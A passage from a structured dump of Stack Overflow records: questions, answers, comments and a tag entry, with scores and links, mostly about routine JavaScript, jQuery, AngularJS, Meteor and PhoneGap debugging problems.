has body: There is no direct way to do this in the browser. Depending on your hosting environment and operating system you can upload the .ai Adobe Illustrator file to your back-end and then run a script to convert it to SVG for example using a tool like this for Linux, UniConvertor, http://manpages.ubuntu.com/manpages/precise/man1/uniconvertor.1.html Then you would have to retrieve the processed SVG and then embed that on your page and then follow methodologies from this question/answer to process it into PNG in the browser: Convert embedded SVG to PNG in-place Due to the many variables and ambiguity in terms of your back-end, it is impossible to be more specific, however the general flow should ring true no-matter what your back-end system be.
downvote count: 0
score: 1

http://stackoverflow.com/a/25843187
score: 1
accepted answer of: http://stackoverflow.com/q/25779768
answers question: http://stackoverflow.com/q/25779768
upvote count: 1
type: AcceptedAnswer
type: Answer
has body: My coworker had moved a whole folder full of stuff to assets/js. I just moved it out of assets and the errors disappeared. Layout.ejs includes everything in this folder; hence the problems.
downvote count: 0

http://stackoverflow.com/comment/40318490
comment on: http://stackoverflow.com/q/25779788
has text: is there any other way to retain them?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40474345
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25865396
has text: you can check this exemple that i did it without tableParams and it worked http://plnkr.co/edit/55nemp?p=streamer
type: AnswerComment

http://stackoverflow.com/comment/40356118
type: Comment
type: QuestionComment
has text: how did you arrive at `add 1 to the keycode` === (i+1) ? What is expected output? You have one `else` that can never be entered
comment on: http://stackoverflow.com/q/25800237
score: 0

http://stackoverflow.com/q/25763052
accepted answer: http://stackoverflow.com/a/25763611
tagged with: playframework
has comment: http://stackoverflow.com/comment/41984526
answer count: 1
tagged with: typesafe
favorite count: 0
has body: Please find the code here - https://github.com/iamanandkris/RedirectURL/blob/master/app/views/editRedirect.scala.html. I am trying to print the contents of Input 1,2 and 3 in to the div as and when the focus changes from any of these 3 objects. I am able to see that the java script is getting invoked when the focus changes and am able to get the alert also. I am able to populate the below 3 values var idToGet = document.getElementById('uid').value var qargsToGet = document.getElementById('qargs').value var rurlToGet = document.getElementById('rurl').value But the statement is not working var s= document.getElementById('thecurrenturl'); s.html = "testing again"; Please go thru the full code below: @(redirectForm: Form[RedirectModel])(implicit flash: Flash, lang: Lang) @import helper._ @import helper.twitterBootstrap._ @main(Messages("products.form")) { @Messages("products.form") @helper.form(action = routes.Redirects.save()) { Target URL: @Messages("products.details", Messages("products.new")) @inputText( redirectForm("uid"), '_label -> "User ID",'onBlur->"myFunction()",'_help -> "Enter a valid user id." ) @textarea( redirectForm("qargs"), 'onBlur->"myFunction()" ) @textarea( redirectForm("rurl"), 'onBlur->"myFunction()" ) } }
tagged with: scala
type: AnsweredQuestion
tagged with: playframework-2.3
has answer: http://stackoverflow.com/a/25763611
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40287428
tagged with: javascript
has title: In Play-Scala (activator), not able to dynamically populate a from javascript
score: 0

http://stackoverflow.com/comment/67938013
has text: Just tried it: I saved a reference to the ``$rootScope`` within a controller and compared it to the ``$rootScope`` I've got from this: ``angular.injector(['ng']).invoke(['$rootScope', function($rootScope) { console.dir($rootScope); }])``. They do *not* match and even have different ``$id``s.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25858616
type: Comment

http://stackoverflow.com/a/61611860
type: Answer
upvote count: 17
has body: Also you can get rid of the warning writing a forEach loop for a more readable and functional approach: Object.keys(object).forEach(key =&gt; { // Do something with object[key] });
answers question: http://stackoverflow.com/q/25723674
downvote count: 0
score: 17

http://stackoverflow.com/a/25744404
answers question: http://stackoverflow.com/q/25744225
type: Answer
has body: Most probably you angular js is not loaded properly. Check this plunker with your code, this works. Invoice: Quantity: Costs: Total:
score: 0

http://stackoverflow.com/q/25758171
has comment: http://stackoverflow.com/comment/40279194
has comment: http://stackoverflow.com/comment/40279010
type: UnansweredQuestion
score: 1
linked to: http://stackoverflow.com/q/5603195
type: Question
has comment: http://stackoverflow.com/comment/40279196
upvote count: 1
linked to: http://stackoverflow.com/q/14253977
answer count: 1
downvote count: 0
tagged with: javascript
has body: I need to get the char code value for the opening curly bracket. I used "{".charCodeAt(0) but it returns 123, However when If I get the value from keyboard events, that value is 219. Which one is correct? Please advise me how to get the correct value for the curly bracket
favorite count: 0
has answer: http://stackoverflow.com/a/25758551
has title: Getting Charcode for open curly bracket

http://stackoverflow.com/comment/40487725
has text: Stack prefers clarifications to keep the noise down. See if the above is useful.
type: AnswerComment
comment on: http://stackoverflow.com/a/25872019
type: Comment
score: 0

http://stackoverflow.com/comment/40235418
comment on: http://stackoverflow.com/a/25734307
score: 1
has text: They say pretty much what I said. So, again, do you mind pointing **exactly** what is wrong?
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25806214
tagged with: popstate
favorite count: 0
type: UnansweredQuestion
has body: I want to detect the backbutton click event so am using window popstate event in jquery. but it is not at all firing in any time. please refer below code $(document).ready(function(){ $(window).on("popstate",function(){ debugger }); }); tried this way too. window.onpopstate = function(event) {debugger alert("location: " + document.location + ", state: " + JSON.stringify(event.state)); }; is there any external script need to add for that ? or anything else need to confiure in my page.
has answer: http://stackoverflow.com/a/25806259
has answer: http://stackoverflow.com/a/38161498
downvote count: 0
score: 1
type: Question
answer count: 2
tagged with: javascript
has title: window popstate event is not triggering in firefox and chrome
tagged with: jquery
upvote count: 1

http://stackoverflow.com/q/25752029
upvote count: 1
type: Question
tagged with: yui
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/25752258
has title: Getting index of a node on click
favorite count: 0
has body: I'm trying get the index of a tab in YUI using delegate along with the indexOf method - specifically I want to remove a tab on the click of an image housed inside of an li element: var tabView = new Y.TabView({ srcNode: '#data-table' }); ... //creating tabs ... var removeTab = function(e) { var tabList = e.container.all('li'); //returns a list of the 'li' elements/tabs tab = tabView.indexOf(e.currentTarget); alert(tab); //returns -1 (node not found) //tabView.remove(tab); } Y.one('#data-table').delegate('click', removeTab, 'img');//on click of the img, launch removeTab I don't believe YUI has a simpler way of doing this-most guides I've found are outdated or don't implement removing tabs the same way.
has answer: http://stackoverflow.com/a/25752258
type: AnsweredQuestion
score: 1

http://stackoverflow.com/q/25753363
answer count: 1
type: UnansweredQuestion
has body: I have a Meteor.method that creates an image and writes css. I have a spinner that displays until the method returns. The method returns almost immediately before functions that create images and css have finished doing their thing. How do I include a callback to wait until the image and css has been written before returning from the Meteor.method? This is my method: createImage: function(coords) { console.log('1: createImage') var source="myimage.png"; var im = gm.subClass({imageMagick: true}); im(source) .crop() .write('newimage.png', function(err){ if (err) return console.dir(arguments) console.log('4: image has been written') }) // end of write function fs.appendFile(directory + 'css.import.less', css, function (err) { if (err) throw err; console.log('3: The "data to append" was appended to file!'); }); console.log('2: image and css written') return true; }, I've numbered the console logs in the order that they are displayed in. What I want is the console.log messages to be displayed in the order that they are written in. So instead of this: //start of method console.log('1: createImage') console.log('4: image has been written') console.log('3: The "data to append" was appended to file!'); console.log('2: image and css written') //end of method I expect this: //start of method console.log('1: createImage') console.log('2: image has been written') console.log('3: The "data to append" was appended to file!'); console.log('4: image and css written') //end of method Currently the method is returning before the functions that write the image and css have returned. The effect of this is that the spinner is displaying for a split second instead of waiting till the functions that create the image and css have returned which means the spinner should be displaying for longer.
tagged with: javascript
has title: Meteor: How do I wait on functions returning before returning from my Meteor.method?
type: Question
tagged with: meteor
has answer: http://stackoverflow.com/a/25753534
score: 0

http://stackoverflow.com/comment/73464810
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25713285
type: AnswerComment
has text: @AlejandroIglesias It is a pretty old answer but you are right :), first of all if you ever manually need to add a watch at all that is where the main problem is- A better design, a more reactive, component oriented design, would avoid creation of manual watchers in the first place. I think that should be the point of optimization.

http://stackoverflow.com/q/25762567
has title: Setting empty text instead of null to ng-model in AngularJS
tagged with: angularjs
upvote count: 3
has answer: http://stackoverflow.com/a/25763306
type: AnsweredQuestion
score: 3
tagged with: angular-ngmodel
has body: I need to get about 14 different input values from user to create a product and the input should not receive in the controller as null instead it should go as empty string To achieve this the following is that I did: Controller: var NewProductCatalog = { CustomerGuid: '00000000-0000-0000-0000-000000000000', SalesPartNo: "", Description: "", Name: "", Inventory: 0, UnitPrice: 0, BrandNo: "", TypeNo: "", LobNo: "", BrandName: "", TypeName: "", LobName: "", ManufacturePartNo: "", InventoryPartNo: "", EANCode: "", ImageURL: "", ProductType: "", DateAdded: "", Active: false, Tax: 0 }; $scope.newProductCatalog = NewProductCatalog; .cshtml: Sales Part No * ... Create function(controller): $scope.createProductCatalog = function (NewProductCatalog) { var JsonString = angular.toJson(NewProductCatalog); CustomProductsServices.ProductCatalog_create(JsonString, function (callback) { if (callback.success) { $window.alert(callback.message); } else { $window.alert(callback.message); } }); }; This allowed me to send an empty string when there user doesn't input any value. The issue: When I try to enter a value in a text box and then delete/empty the text box and submit. I am not able to see the SalesPartNo in the resulting JSON string Please point out the error of if my approach is wrong suggest me a better approach
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25762916
accepted answer: http://stackoverflow.com/a/25762916
possible better answer: http://stackoverflow.com/a/25763306
downvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/comment/40471476
type: Comment
comment on: http://stackoverflow.com/a/25863386
has text: I think area = `Pi * r ^2`, not `2 * Pi * r^2`
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40219296
type: Comment
has text: I wanted to say "callback function". :) My bad.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25726156

http://stackoverflow.com/comment/40199265
type: AnswerComment
has text: This seems like it either wouldn't work (if `someMethod` is a method of an object) or it's a bad idea to make it global. This is NOT a good solution.
comment on: http://stackoverflow.com/a/25715229
type: Comment
score: 0

http://stackoverflow.com/q/25781664
tagged with: qml
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25783687
has body: I have my list mode ListModel { id: nestedModel } and I can append the list model using the code nestedModel.append({ locationName: qsTr("Location5"), collapsed: true, folders: [{ folderName: qsTr("Cam11") }, { folderName: qsTr("Cam22") }, { folderName: qsTr("Cam33") }, { folderName: qsTr("Cam44") }] }) Which works fine. But I need to append the inner list only using the same append model, like I have already Cam11,Cam22,Cam33,Cam44 in my list model, and I have to append Cam55,Cam66 dynamically. How it’s possible? Any help will be appreciated… Thanks Haris
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25783687
favorite count: 0
has title: Qml Nested List Model Append Data
tagged with: qt
score: 2
downvote count: 0
tagged with: qqmlcomponent
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/40312944
comment on: http://stackoverflow.com/q/25776621
type: Comment
has text: And the way to make it work is simply by catching the form submit event, not the button click event.
score: 0
type: QuestionComment

http://stackoverflow.com/q/25857850
accepted answer: http://stackoverflow.com/a/25857925
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25857925
has body: I have multiple forms generated from a database array(label:product_Name, label:sku_number, Input:qty_to_order &amp; button:add). They all have same Class, and I'm having a problem on retrieving the data entered into each form (sku_number, qty_to_add, basically like a e-commerce kart). How can i process one @ the time using ajax function? thanks in advance This is how i generate the forms foreach($_SESSION['product_output'] as $row){ echo "&lt;form class='thisclass'&gt;"; echo "&lt;input name='sku_number' type='hidden' Value='" . $row['sku_number'] . "'&gt;"; echo "&lt;input name='qty_to_order' type='text' Value=''&gt;"; echo "&lt;input name='add' type='button' Value='add' Onclick=''&gt;"; echo "&lt;/form&gt;"; }
score: 1
has title: Multiple Forms one ajax function
upvote count: 1
tagged with: php
type: AnsweredQuestion

http://stackoverflow.com/a/25738053
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25737841
has body: You need to write: $scope.formSubmit = function(searhBar){ this.showForm = false; };
downvote count: 0

http://stackoverflow.com/q/25809958
score: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25810094
has answer: http://stackoverflow.com/a/25810024
type: UnansweredQuestion
tagged with: php
has title: Redirect to index page but not working an alert of javascript
answer count: 4
has answer: http://stackoverflow.com/a/25810092
type: Question
has answer: http://stackoverflow.com/a/25810261
has body: I want to check if the user is not logged in then he cannot access to the patient-dashboard page and redirect to index.php thats working fine but when i add an alert of javascript in patient-dashboard page where i redirecting the user to index.php if not logged in then it will first show alert box then it will go to index page thats not working... kindly help.. patient-dashboard.php if(!isset($_SESSION['username'])) { echo "&lt;script type='text/javascript'&gt;"; echo "alert('Login First');"; echo "&lt;/script&gt;"; header('Location: index.php'); }

http://stackoverflow.com/q/25858608
has answer: http://stackoverflow.com/a/25858747
upvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: symfony
accepted answer: http://stackoverflow.com/a/25858747
downvote count: 1
type: AnsweredQuestion
has title: Cannot use Jquery with Symfony
score: -1
has body: I do not succeed in using Jquery with Symfony. For information I use Jquery link provided by google. in my twig file I have the following lines: my title <string class="changecolor red">HELLO<string> in my myjsfile.js I have the following lines: (the file is in folders: Symfony/web/js) $(document).ready(function(){ $(".changecolor").mouseenter(function(){ $(this).addClass("blue"); } $(".changecolor").mouseleave(function(){ $(this).removeClass("blue"); $(this).addClass("red"); } }); my css file is working fine so I do not put it here (just is .blue{color:blue};)
type: Question

http://stackoverflow.com/comment/40443195
type: Comment
has text: everything still clears and i get an error that reads event.preventDefault() event is not defined
comment on: http://stackoverflow.com/a/25848361
score: 0
type: AnswerComment

http://stackoverflow.com/a/25835212
score: 0
has comment: http://stackoverflow.com/comment/40419610
has comment: http://stackoverflow.com/comment/40419864
has comment: http://stackoverflow.com/comment/40419973
has comment: http://stackoverflow.com/comment/40420252
has comment: http://stackoverflow.com/comment/40420882
type: Answer
has comment: http://stackoverflow.com/comment/40429988
has comment: http://stackoverflow.com/comment/40438056
has comment: http://stackoverflow.com/comment/40452520
has body: I notice that you've moved the /css and /js directories out of /inc where they seem to have been originally. So try: require_once plugin_dir_path( __FILE__ ) . 'template-tags.php';
has comment: http://stackoverflow.com/comment/40420692
answers question: http://stackoverflow.com/q/25834182

http://stackoverflow.com/comment/40283852
type: Comment
comment on: http://stackoverflow.com/a/25760854
type: AnswerComment
has text: I added it to my answer. Thanks for the comment.
score: 0

http://stackoverflow.com/comment/40295381
has text: The code I had copied from the OP was incorrect. Fixed that, and fixed the return value on the calo method. Added working Fiddle.
type: Comment
comment on: http://stackoverflow.com/a/25748632
score: 0
type: AnswerComment

http://stackoverflow.com/a/25782450
downvote count: 0
answers question: http://stackoverflow.com/q/25782331
type: Answer
has comment: http://stackoverflow.com/comment/40323072
score: 1
upvote count: 1
has body: Using javascript: document.getElementById("valt_element_id").innerHTML = ElementId; Or jQuery: $('#valt_element_id').html(ElementId);

http://stackoverflow.com/a/25762583
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25762449
has body: Use JQuery Dialog for that.First create a div in your HTML Include Jquery.js and jquery.UI both and also put modal =true for darken background &lt;div id="DialogBox"&gt;&lt;/div&gt; $("#DialogBox").dialog({ height: 600, width: 600, modal: true, buttons: [ { text: "Close", click: function () { $(this).dialog("close"); } }] });
downvote count: 0
type: Answer

http://stackoverflow.com/a/25805187
has body: Update. So, as @ScottBrown has said, workaround is to change hourMin from 0 to, for example, 6. It helps to get rid of incorrect behaviour (counting Sunday twice) during changing of "Daylight Standard Time" to "Daylight Savings Time", even though it's not an universal solution. Fiddle. ... and my modified fiddle with handling error during selecting only second date and with recalculating value if the first date is changed.
type: Answer
has comment: http://stackoverflow.com/comment/40364767
has comment: http://stackoverflow.com/comment/40365342
has comment: http://stackoverflow.com/comment/40365051
has comment: http://stackoverflow.com/comment/40365181
has comment: http://stackoverflow.com/comment/40364888
has comment: http://stackoverflow.com/comment/40367453
has comment: http://stackoverflow.com/comment/40364942
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25805008
has comment: http://stackoverflow.com/comment/40364687
answers question: http://stackoverflow.com/q/25805008
score: 0

http://stackoverflow.com/q/25795190
has answer: http://stackoverflow.com/a/29531552
has body: I'd like use Ocrad.js and to start I'd like to make a simpler version of http://antimatter15.com/ocrad.js/demo.html. To familiarize with the library I wrote this simple example but the text doesn't get recognized correctly (I always get a '.' as output). Any help would be appreciated. This is my index.html ocradjs test test.js And this is my js/test.js $( document ).ready(function() { var ch; var cw; var canvas = document.getElementById("OCRArea"); var ctx = canvas.getContext("2d"); var imgData ; ctx.font="100px Georgia"; ctx.fillText("Test!",10,100); cw = canvas.width; ch = canvas.height; imgData = ctx.getImageData(0, 0, cw, ch); console.log(OCRAD(imgData)); console.log(OCRAD(canvas)); });
type: Question
has title: Errors using Ocrad.js on the canvas element
tagged with: javascript
score: 0
tagged with: html5-canvas
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/40417816
has text: If you are looking to get information without reloading the page, then we are talking AJAX
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25823238

http://stackoverflow.com/comment/40400903
type: QuestionComment
has text: Are you really only using those two images? Because in that case: `imagerElement.src = (parseInt(textvaluevariable,10) % 2 === 0 ? 'g' : 'b') + '1.png'; would seem to work.
comment on: http://stackoverflow.com/q/25825051
score: 0
type: Comment

http://stackoverflow.com/comment/40500705
has text: @Brad Could you show some example code, to know exactly what you mean (e.g. in Fiddle)?
score: 0
comment on: http://stackoverflow.com/q/25836045
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40366382
comment on: http://stackoverflow.com/q/25806107
score: 0
type: Comment
type: QuestionComment
has text: I want rewrite all the div "external-events" with the json var

http://stackoverflow.com/comment/60276484
type: Comment
has text: @HelpNeeder i need to reload the page after redirecting to page. how to do it in ui-router. i have already tried $state.go('dashboard.places.list', {}, { reload: true}); it is redirecting to the particular view , but not reloads
comment on: http://stackoverflow.com/a/25717547
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40487608
type: Comment
comment on: http://stackoverflow.com/a/25872381
has text: @Lix I wasn't aware of the dangers of Hello World
score: 1
type: AnswerComment

ionic-framework
tags question: http://stackoverflow.com/q/25749371
type: Tag
tags question: http://stackoverflow.com/q/25792312
tags question: http://stackoverflow.com/q/25771419
tags question: http://stackoverflow.com/q/25748419
tags question: http://stackoverflow.com/q/25730637
tags question: http://stackoverflow.com/q/25825451
tags question: http://stackoverflow.com/q/25828387
tags question: http://stackoverflow.com/q/25770106
tags question: http://stackoverflow.com/q/25823613
tags question: http://stackoverflow.com/q/25826427
tags question: http://stackoverflow.com/q/25793222
tags question: http://stackoverflow.com/q/25790445
tag name: ionic-framework
tags question: http://stackoverflow.com/q/25834611
tags question: http://stackoverflow.com/q/25723196

http://stackoverflow.com/q/25734362
score: 1
accepted answer: http://stackoverflow.com/a/25734401
downvote count: 0
answer count: 1
has body: I have two columns in a table. I can sort the location column asc/desc just fine. However, I cannot do the same thing with the date column. It seems I can sort it once, but whenever I try to sort it again, it does nothing. Please see the fiddle http://jsfiddle.net/poppypoop/2463hsvd/ If you click the 'Date' header, it sorts. However, clicking it again does nothing. This is not the case with the Location column. What am I doing wrong? controller function myCtrl($scope){ $scope.descending = false; $scope.columnToOrderBy = 'date'; $scope.data = [ { date: "2014-06-19T05:00:00", Location: "California" }, { date: "2014-07-13T08:00:00", Location: "Texas" }, { date: "2013-07-13T08:00:00", Location: "Florida" } ]; } html Date Location {{item.Location}}
tagged with: javascript
has title: Unable to sort date column in table
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25734401
type: AnsweredQuestion
upvote count: 1
type: Question

http://stackoverflow.com/comment/40378106
type: Comment
type: QuestionComment
has text: When i checked `Check All` i want to clear all checkbox
comment on: http://stackoverflow.com/q/25812750
score: 0

http://stackoverflow.com/a/25755023
answers question: http://stackoverflow.com/q/25754728
has body: The problem with your code is that your calls to $('.draggable').draggable() and $('.hoverable').droppable() are happening on the current DOM, so those functions are not executed on new DOM elements. You somehow need to trigger these functions on new elements as well. (If you're only worried about dynamic drop regions, you can ignore this aspect for the draggable() call.) Here's an example of what I mean: function makeDroppable(selector) { $(selector).droppable({ over: function (event, ui) { var target = $(event.target); var newElem = target.next().append('&lt;div id="spacer" style="display:block; height:30px;width:100px;background-color:yellow;"&gt;&lt;/div&gt;'); makeDroppable(newElem); } }); } makeDroppable('.hoverable');
has comment: http://stackoverflow.com/comment/40275983
has comment: http://stackoverflow.com/comment/40273645
score: 0
type: Answer

http://stackoverflow.com/a/25856548
score: 0
upvote count: 1
downvote count: 1
type: Answer
has body: I've found that the following signature string works: 'viii'. The first character ('v') describes the function's return type, i.e. void, whereas each 'i' represents an argument of int type. Pointers are represented as integers, so this should be the correct signature.
answers question: http://stackoverflow.com/q/25856226

http://stackoverflow.com/q/25817675
score: 4
upvote count: 4
has title: Phonegap 3.5.0 open link in external Safari window not working
answer count: 2
downvote count: 0
favorite count: 0
tagged with: cordova
has answer: http://stackoverflow.com/a/25853331
possible better answer: http://stackoverflow.com/a/50760293
has answer: http://stackoverflow.com/a/50760293
type: AnsweredQuestion
has body: This question has been asked a million times, and I've tried all the solutions: the "prevent default" solution, the "remove conflicting status bar hiding plugin" solution, the "variations of _blank & _system, location=yes & no" solution(s), But none seem to work. The URL simply opens in the app itself, with no way to get back out of it. I've even tried this code I've seen in several places: var ref = window.open('http://apache.org', '_blank', 'location=yes'); ref.addEventListener('loadstart', function(event) { alert('start: ' + event.url); }); ref.addEventListener('loadstop', function(event) { alert('stop: ' + event.url); }); ref.addEventListener('loaderror', function(event) { alert('error: ' + event.message); }); ref.addEventListener('exit', function(event) { alert(event.type); }); But still, the link just opens in the app. No "done" button that I've heard talk of. No Safari. My config.xml: <gap:platform name="ios" /> <preference name="permissions" value="none"/> <preference name="phonegap-version" value="2.9.0" /> <preference name="orientation" value="default" /> <preference name="target-device" value="universal" /> <preference name="fullscreen" value="true" /> <preference name="webviewbounce" value="true" /> <preference name="prerendered-icon" value="true" /> <preference name="stay-in-webview" value="false" /> <preference name="ios-statusbarstyle" value="black-opaque" /> <preference name="detect-data-types" value="true" /> <preference name="exit-on-suspend" value="false" /> <preference name="show-splash-screen-spinner" value="true" /> <preference name="auto-hide-splash-screen" value="true" /> <preference name="disable-cursor" value="false" /> <preference name="android-minSdkVersion" value="7" /> <preference name="android-installLocation" value="auto" /> <preference name="OpenAllExternalURLsInWebView" value="true" /> <gap:plugin name="org.apache.cordova.inappbrowser" /> <icon src="icons/ios/icon-57.png" /> <icon src="icons/ios/icon-29.png" gap:platform="ios" width…
type: Question
accepted answer: http://stackoverflow.com/a/25853331
tagged with: inappbrowser
tagged with: javascript

http://stackoverflow.com/comment/40241463
score: 1
comment on: http://stackoverflow.com/a/25719899
has text: Thanks I found the problem...Dave Boyne answer rectified my code.
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25779475
has comment: http://stackoverflow.com/comment/40317844
has comment: http://stackoverflow.com/comment/40317874
has comment: http://stackoverflow.com/comment/40317898
type: Question
answer count: 1
tagged with: asp.net-mvc-4
has comment: http://stackoverflow.com/comment/40318175
has comment: http://stackoverflow.com/comment/40318141
score: 0
has title: JQuery click event doesn't work after first click
tagged with: pagination
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139397449
linked to: http://stackoverflow.com/q/25085926
has answer: http://stackoverflow.com/a/25779686
has body: I want to create a custom paging for my mvc project. Here is my next button. It works at when I click to it first but after that it doesn't work. Where is my mistake? $(document).ready(function () { $("#btnNext").click(function () { $.ajax({ url : '/Customer/Next', data : { currentPageIndex : document.getElementById('currentPageIndex').value }, success : function (response) { $("body").html(response); } }); }); });

http://stackoverflow.com/q/25839482
possible better answer: http://stackoverflow.com/a/25840132
downvote count: 0
tagged with: javascript
favorite count: 0
has body: Lets say I have a the following attributes being passed in to an underscore template: name and animaltype. I also have an attribute that varies based on the animaltype. So for example, if animaltype is CAT, then the attribute is called cat_id. If is the animaltype is DOG, then the attribute is dog_id and so on. I create an input box for each of the animaltype ids but only the box that has an id of the corresponding animaltype should be populated(mapped in via attributes). This ID input box is the one I cannot get to map to the attribute value because I am using javascript to create the name of the attribute is should be expecting. Therefore the actual javascript variable name is being inserted instead of the corresponding resolved attribute value that matches the javascript variable name. Here is the fiddle http://jsfiddle.net/leopardy/fev4vqmg/1/ What I should get is Name: Fluffy Type: CAT CAT ID: 005 DOG ID: BIRD ID: What I really get is Name: Fluffy Type: CAT CAT ID: cat_id DOG ID: BIRD ID: where the cat_id attribute did not resolve in the template. As a side note, in my real code I am hiding the other ID input boxes that don't correspond to the animal type but for the sake of keeping things simpler, I didn't including the hiding/showing.
has answer: http://stackoverflow.com/a/25840132
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40430811
tagged with: underscore.js-templating
type: AnsweredQuestion
score: 3
tagged with: underscore.js
upvote count: 3
has title: How to get javascript variable to be interpreted as attribute in underscore templates
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25841188
accepted answer: http://stackoverflow.com/a/25841188

http://stackoverflow.com/comment/40471264
score: 0
type: Comment
has text: setting cache only works great and even replacing getJSON with ajax works great . Thanks :)
type: AnswerComment
comment on: http://stackoverflow.com/a/25863326

http://stackoverflow.com/comment/40311415
has text: A simple if statement will solve your problem for eg: `if ($page == 'site1.php') { echo 'class="active"';}` you can assign `$page` variable with `$_SERVER` superglobal.
score: 1
comment on: http://stackoverflow.com/q/25775707
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25727418
answers question: http://stackoverflow.com/q/25726849
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: I need to first prevent the default handler (i.e. no scrolling) and then debounce my event handler. Then use this: var onKeyUp = $.debounce(500, doSomethingWith); $('#mytable').on('keyup', function(evt) { evt.preventDefault(); // do always onKeyUp(evt, true); // possibly bounced call to doSomethingWith });
accepted answer of: http://stackoverflow.com/q/25726849

http://stackoverflow.com/comment/40201321
type: QuestionComment
has text: What have you tried so far? Also would be helpful to give the actual html produced as an example.
comment on: http://stackoverflow.com/q/25716384
score: 0
type: Comment

http://stackoverflow.com/a/25812467
answers question: http://stackoverflow.com/q/25811982
type: Answer
downvote count: 1
upvote count: 0
has comment: http://stackoverflow.com/comment/40378017
has body: &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;body&gt; &lt;img name="changer1" id="changer1" alt="before" src="img/.../1/before.jpg"/&gt; &lt;img name="changer2" id="changer2" alt="after" src="img/.../1/after.jpg"/&gt; &lt;img src="img/next.png" id="test"/&gt; &lt;/body&gt; &lt;script src="jquery.js"&gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function(){ var i = 2; $("#test").click(function(){ var srcbefore='img/.../'+i+'/before.jpg'; var srcAfter="img/.../"+i+"/after.jpg"; $("#changer1").attr("src",srcbefore); $("#changer2").attr("src",srcAfter); console.log(srcbefore+"::"+srcAfter); i++; }); }); &lt;/script&gt; &lt;/html&gt; hope this solves your problem.. FYI - Dont couple your JS code in HTML. Make it seperate. Use Class or ID instead of name.
has comment: http://stackoverflow.com/comment/40377756
has comment: http://stackoverflow.com/comment/40377944
has comment: http://stackoverflow.com/comment/40416665
has comment: http://stackoverflow.com/comment/40378454
score: -1
has comment: http://stackoverflow.com/comment/40378080
has comment: http://stackoverflow.com/comment/40378358

http://stackoverflow.com/comment/133012113
type: AnswerComment
has text: headers : { 'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8' }
type: Comment
comment on: http://stackoverflow.com/a/30554385
score: 0

http://stackoverflow.com/a/25819016
downvote count: 0
has body: Put: document.cookie = "test=val; domain=.domain.com"; in the Javascript. The default is for the domain to be the exact domain of the web page, you need to put .domain.com in explicitly to override it. The Set-Cookie: header that came from PHP must have contained domain=.domain.com
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25818976
answers question: http://stackoverflow.com/q/25818976
type: Answer

http://stackoverflow.com/comment/40271738
comment on: http://stackoverflow.com/a/25752299
type: AnswerComment
has text: Ok, you should include this information in your question. To prevent blocking, you can define a stub or pass an asynchronous callback. See [docs](http://docs.meteor.com/#meteor_methods) for more info. As for server restart, I don't think the observer will work because `playerTurn` would have to change again. Maybe you can set a flag to indicate that the computer has finished its turn and check this on startup.
score: 0
type: Comment

http://stackoverflow.com/q/25804778
has body: I'm trying to submit a form by clicking on a link. I disabled the redirection, but for some reason .submit() is not working... Here is what I have tried: Effect: redirection stops, no form submission, no error message, stuck on the form page: $('.jsubmit').click( function(e) { e.preventDefault(); $('form#fadmin').submit(); }); Effect: URL redirection, form not submitted, no error message $('.jsubmit').click( function(e) { $('form#fadmin').submit(); }); Effect: redirection stops, no form submission, no error message, stuck on form page: $('.jsubmit').click( function(e) { $('form#fadmin').submit(); return false; }); The form: &lt;form action="" method="post" name="fadmin" class="inputform" id="fadmin"&gt;...&lt;/form&gt; And a bunch of other combination including trigger(), reversing the preventDefault() with unbind(). The only way I was able to submit the form was to trigger a click on the submit button but that is not really a solution in my case, because I need to use this on multiple pages and adding the button then hiding it is not something I would like to do on every page... I have tried to run them in Firefox and IE with the same result. Some other JS, jQ codes being used are: default bootstrap and respond provided by ZendFramework2 and ZFTables. Any help would be much appreciated! EDIT: The form had the following submit button: &lt;input id="mysubmit" type="submit" value="Register" name="submit" /&gt; After removing this my first example above worked perfectly. Strange because there was no other forms or submit buttons on the page and nothing with the same name, id, type...
has comment: http://stackoverflow.com/comment/40363855
has comment: http://stackoverflow.com/comment/40363807
tagged with: forms
type: Question
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40366154
has comment: http://stackoverflow.com/comment/40364030
has answer: http://stackoverflow.com/a/25806502
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40364026
has comment: http://stackoverflow.com/comment/40363879
